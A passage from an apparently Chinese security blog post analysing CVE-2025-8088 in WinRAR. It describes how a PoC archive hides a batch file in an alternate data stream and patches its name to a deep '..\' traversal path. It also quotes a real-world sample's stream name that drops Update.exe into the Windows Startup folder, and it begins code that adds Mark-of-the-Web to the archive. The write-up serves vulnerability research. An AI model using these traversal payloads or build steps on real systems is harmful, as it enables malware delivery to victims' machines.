leaf=&quot;&quot;&gt;：&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;list-style-type: disc;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;将&lt;/span&gt;&lt;code data-v-7caec4f8=&quot;&quot; data-v-60fb4351=&quot;&quot; style=&quot;font: inherit;scrollbar-color: transparent transparent;margin: 0px 4px;padding: 2px 6px;border: 0px;vertical-align: baseline;color: rgba(0, 0, 0, 0.9);background-color: rgba(0, 0, 0, 0.03);border-radius: 4px;max-width: 100%;white-space: pre-wrap;word-break: break-word;text-shadow: none;overflow: auto;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;run_decode.bat&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;作为&lt;/span&gt;&lt;strong style=&quot;font-family: inherit;scrollbar-color: transparent transparent;margin: 0px;padding: 0px;border: 0px;font-style: inherit;font-variant: inherit;font-weight: 600;font-stretch: inherit;font-size: inherit;line-height: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;vertical-align: baseline;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;交替数据流(ADS)&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;附加到&lt;/span&gt;&lt;code data-v-7caec4f8=&quot;&quot; data-v-60fb4351=&quot;&quot; style=&quot;font: inherit;scrollbar-color: transparent transparent;margin: 0px 4px;padding: 2px 6px;border: 0px;vertical-align: baseline;color: rgba(0, 0, 0, 0.9);background-color: rgba(0, 0, 0, 0.03);border-radius: 4px;max-width: 100%;white-space: pre-wrap;word-break: break-word;text-shadow: none;overflow: auto;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;clib.txt&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;上&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;流名称初始化为128字节的占位符（如&lt;/span&gt;&lt;code data-v-7caec4f8=&quot;&quot; data-v-60fb4351=&quot;&quot; style=&quot;font: inherit;scrollbar-color: transparent transparent;margin: 0px 4px;padding: 2px 6px;border: 0px;vertical-align: baseline;color: rgba(0, 0, 0, 0.9);background-color: rgba(0, 0, 0, 0.03);border-radius: 4px;max-width: 100%;white-space: pre-wrap;word-break: break-word;text-shadow: none;overflow: auto;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;XXXXXXXX...&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;）&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong style=&quot;font-family: inherit;scrollbar-color: transparent transparent;margin: 0px;padding: 0px;border: 0px;font-style: inherit;font-variant: inherit;font-weight: 600;font-stretch: inherit;font-size: inherit;line-height: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;vertical-align: baseline;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;生成基础RAR&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;list-style-type: disc;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;调用WinRAR生成包含&lt;/span&gt;&lt;code data-v-7caec4f8=&quot;&quot; data-v-60fb4351=&quot;&quot; style=&quot;font: inherit;scrollbar-color: transparent transparent;margin: 0px 4px;padding: 2px 6px;border: 0px;vertical-align: baseline;color: rgba(0, 0, 0, 0.9);background-color: rgba(0, 0, 0, 0.03);border-radius: 4px;max-width: 100%;white-space: pre-wrap;word-break: break-word;text-shadow: none;overflow: auto;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;clib.txt&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;及其ADS流的普通RAR5文件&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong style=&quot;font-family: inherit;scrollbar-color: transparent transparent;margin: 0px;padding: 0px;border: 0px;font-style: inherit;font-variant: inherit;font-weight: 600;font-stretch: inherit;font-size: inherit;line-height: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;vertical-align: baseline;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;二进制补丁&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;list-style-type: disc;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;在RAR头部搜索占位符字符串&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;strong style=&quot;font-family: inherit;scrollbar-color: transparent transparent;margin: 0px;padding: 0px;border: 0px;font-style: inherit;font-variant: inherit;font-weight: 600;font-stretch: inherit;font-size: inherit;line-height: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;vertical-align: baseline;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;替换为路径遍历字符串&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：&lt;/span&gt;&lt;code data-v-7caec4f8=&quot;&quot; data-v-60fb4351=&quot;&quot; style=&quot;font: inherit;scrollbar-color: transparent transparent;margin: 0px 4px;padding: 2px 6px;border: 0px;vertical-align: baseline;color: rgba(0, 0, 0, 0.9);background-color: rgba(0, 0, 0, 0.03);border-radius: 4px;max-width: 100%;white-space: pre-wrap;word-break: break-word;text-shadow: none;overflow: auto;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;..\..\..\...（16层）\Desktop\CVE-2025-8088...\run_decode.bat&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong style=&quot;font-family: inherit;scrollbar-color: transparent transparent;margin: 0px;padding: 0px;border: 0px;font-style: inherit;font-variant: inherit;font-weight: 600;font-stretch: inherit;font-size: inherit;line-height: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;vertical-align: baseline;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;CRC32修复&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;list-style-type: disc;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;重新计算所有RAR块头的CRC32校验和，确保文件格式合法&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;li&gt;&lt;p&gt;&lt;strong style=&quot;font-family: inherit;scrollbar-color: transparent transparent;margin: 0px;padding: 0px;border: 0px;font-style: inherit;font-variant: inherit;font-weight: 600;font-stretch: inherit;font-size: inherit;line-height: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;vertical-align: baseline;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;输出文件&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;：&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;ul style=&quot;list-style-type: disc;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;默认生成：&lt;/span&gt;&lt;code data-v-7caec4f8=&quot;&quot; data-v-60fb4351=&quot;&quot; style=&quot;font: inherit;scrollbar-color: transparent transparent;margin: 0px 4px;padding: 2px 6px;border: 0px;vertical-align: baseline;color: rgba(0, 0, 0, 0.9);background-color: rgba(0, 0, 0, 0.03);border-radius: 4px;max-width: 100%;white-space: pre-wrap;word-break: break-word;text-shadow: none;overflow: auto;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;cve-2025-8088-sxy-poc.rar&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;中间文件：&lt;/span&gt;&lt;code data-v-7caec4f8=&quot;&quot; data-v-60fb4351=&quot;&quot; style=&quot;font: inherit;scrollbar-color: transparent transparent;margin: 0px 4px;padding: 2px 6px;border: 0px;vertical-align: baseline;color: rgba(0, 0, 0, 0.9);background-color: rgba(0, 0, 0, 0.03);border-radius: 4px;max-width: 100%;white-space: pre-wrap;word-break: break-word;text-shadow: none;overflow: auto;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;cve-2025-8088-sxy-poc.base.rar&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;（生成后自动删除）&lt;/span&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ol&gt;&lt;h2 style=&quot;font-family: -apple-system, BlinkMacSystemFont, &amp;quot;Segoe UI&amp;quot;, system-ui, -apple-system, &amp;quot;Segoe UI&amp;quot;, Roboto, Ubuntu, Cantarell, &amp;quot;Noto Sans&amp;quot;, sans-serif, Arial, &amp;quot;PingFang SC&amp;quot;, &amp;quot;Source Han Sans SC&amp;quot;, &amp;quot;Microsoft YaHei UI&amp;quot;, &amp;quot;Microsoft YaHei&amp;quot;, &amp;quot;Noto Sans CJK SC&amp;quot;, sans-serif;scrollbar-color: transparent transparent;margin: 0px 0px 16px;padding: 0px;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 600;font-stretch: inherit;font-size: 18px;line-height: 28px;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;vertical-align: baseline;letter-spacing: 0px;color: rgba(0, 0, 0, 0.9);orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot;&gt;攻击后果&lt;/span&gt;&lt;/h2&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;当受害者使用&lt;/span&gt;&lt;strong style=&quot;font-family: inherit;scrollbar-color: transparent transparent;margin: 0px;padding: 0px;border: 0px;font-style: inherit;font-variant: inherit;font-weight: 600;font-stretch: inherit;font-size: inherit;line-height: inherit;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-language-override: inherit;vertical-align: baseline;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;存在漏洞的WinRAR版本&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;解压时：&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;表面上看：只解压出&lt;/span&gt;&lt;code data-v-7caec4f8=&quot;&quot; data-v-60fb4351=&quot;&quot; style=&quot;font: inherit;scrollbar-color: transparent transparent;margin: 0px 4px;padding: 2px 6px;border: 0px;vertical-align: baseline;color: rgba(0, 0, 0, 0.9);background-color: rgba(0, 0, 0, 0.03);border-radius: 4px;max-width: 100%;white-space: pre-wrap;word-break: break-word;text-shadow: none;overflow: auto;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;clib.txt&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;实际上：&lt;/span&gt;&lt;code data-v-7caec4f8=&quot;&quot; data-v-60fb4351=&quot;&quot; style=&quot;font: inherit;scrollbar-color: transparent transparent;margin: 0px 4px;padding: 2px 6px;border: 0px;vertical-align: baseline;color: rgba(0, 0, 0, 0.9);background-color: rgba(0, 0, 0, 0.03);border-radius: 4px;max-width: 100%;white-space: pre-wrap;word-break: break-word;text-shadow: none;overflow: auto;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;run_decode.bat&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;会被释放到：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;code data-v-7caec4f8=&quot;&quot; data-v-60fb4351=&quot;&quot; style=&quot;font: inherit;scrollbar-color: transparent transparent;margin: 0px 4px;padding: 2px 6px;border: 0px;vertical-align: baseline;color: rgba(0, 0, 0, 0.9);background-color: rgba(0, 0, 0, 0.03);border-radius: 4px;max-width: 100%;white-space: pre-wrap;word-break: break-word;text-shadow: none;overflow: auto;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;C:\Users\Administrator\Desktop\CVE-2025-8088-WinRAR-PoC-Exploit\run_decode.bat&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;（3）生成攻击rar&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130335176983581519549.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1080&quot; type=&quot;block&quot; data-imgfileid=&quot;100006691&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;通过7z l -sns来&lt;/span&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;检查生成的rar，&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130335176983581549097.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1080&quot; type=&quot;block&quot; data-imgfileid=&quot;100006697&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;这里的载荷文件是run_decode.bat；&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;或者 NtfsStreamEditor 来查看，&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130335176983581514652.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1080&quot; type=&quot;block&quot; data-imgfileid=&quot;100006698&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;直接出来了ADS中包含的启动载荷run_decode.bat的内容。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;（4）互联网中公布的利用&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;我们再来看一个更为明显的载荷，hta启动&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130335176983581520019.jpg&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;图像&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1080&quot; data-imgfileid=&quot;100006695&quot; data-aistatus=&quot;1&quot;/&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; src=&quot;https://picsum.photos/800/400?random=error&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;图片加载失败&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;顺便借用个攻击链过程图，&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130335176983581535752.jpg&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;图像&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1080&quot; data-imgfileid=&quot;100006696&quot; data-aistatus=&quot;1&quot;/&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; src=&quot;https://picsum.photos/800/400?random=error&quot; referrerpolicy=&quot;no-referrer&quot; alt=&quot;图片加载失败&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;可以看到通过“恶意邮件：附件--&amp;gt;CVE-2025-8088--&amp;gt;释放恶意HTA载荷文件--&amp;gt;连接下载服务器--&amp;gt;下载后续载荷文件--&amp;gt;连接C2服务器”。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;5、winrar解压缩的表现特征&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;这里借用网上的恶意文件。用winrar解压，&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130335176983581531683.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;735&quot; type=&quot;block&quot; data-imgfileid=&quot;100006692&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;这时，报错。将这段内容复制出来，粘贴到文本中，再看下，&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130335176983581534211.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1080&quot; type=&quot;block&quot; data-imgfileid=&quot;100006693&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;完整的就是不一样了，出现了“&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;Bang_Luong_Thang_11_2025.csv:..\..\..\..\..\..\..\..\Users\sosona\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Update.exe&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;”&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;6、改造poc.py&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;以下是修改 poc.py 的代码建议，它会在生成 RAR 文件后，为其附加一个模拟的 Zone.Identifier ADS 流。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;修改说明：&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;（1）. 新增 attach_motw 函数，用于创建 Zone.Identifier 流。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;（2）. 在 main 函数最后调用该函数，为输出的 RAR 文件添加 ADS。&lt;/span&gt;&lt;/p&gt;&lt;p data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span style=&quot;color: #b38cff;&quot;&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mktkegqt1qra&quot; style=&quot;font-size: 14px;&quot;&gt;def&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;/span&gt;&lt;span mpa-font-style=&quot;mktkegqt1nhm&quot; style=&quot;font-size: 14px;&quot;&gt;&lt;span style=&quot;color: #f29d79;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;attach_motw&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #ded47e;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;path&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;: Path):&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #82d99f;font-size: 14px;&quot; mpa-font-style=&quot;mktkegqtfmz&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;quot;&amp;quot;&amp;quot;Attach Zone.Identifier to mimic a downloaded file (ZoneId=3).&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span mpa-font-style=&quot;mktkegqt247v&quot; style=&quot;font-size: 14px;&quot;&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; motw&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d5d8e0;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;=&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;textwrap.dedent(&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #82d99f;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #80bbff;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;\&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #82d99f;font-size: 14px;&quot; mpa-font-style=&quot;mktkegqt13wp&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; [ZoneTransfer]&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #82d99f;font-size: 14px;&quot; mpa-font-style=&quot;mktkegqt563&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ZoneId=3&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #82d99f;font-size: 14px;&quot; mpa-font-style=&quot;mktkegqt17xh&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; HostUrl=about:internet&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span mpa-font-style=&quot;mktkegqt16d4&quot; style=&quot;font-size: 14px;&quot;&gt;&lt;span style=&quot;color: #82d99f;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span mpa-font-style=&quot;mktkegqtw02&quot; style=&quot;font-size: 14px;&quot;&gt;&lt;span style=&quot;color: #b38cff;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;try&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #b38cff;font-size: 14px;&quot; mpa-font-style=&quot;mktkegqtjxu&quot;&gt;&lt;span leaf=&quot;&quot;&gt;with&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;/span&gt;&lt;span mpa-font-style=&quot;mktkegqtsiy&quot; style=&quot;font-size: 14px;&quot;&gt;&lt;span style=&quot;color: #f29d79;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;open&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #b38cff;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #82d99f;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #80bbff;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;{&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;path&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #80bbff;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #82d99f;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;:Zone.Identifier&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;,&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #82d99f;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;quot;w&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;)&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #b38cff;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;as&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;f:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #d1d3db;font-size: 14px;&quot; mpa-font-style=&quot;mktkegqt17ov&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; f.write(motw)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span mpa-font-style=&quot;mktkegqt1fxo&quot; style=&quot;font-size: 14px;&quot;&gt;&lt;span style=&quot;color: #f29d79;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;print&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #b38cff;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #82d99f;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;quot;[+] Attached Zone.Identifier (Mark of the Web) to&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #80bbff;&quot;&gt;&lt;span 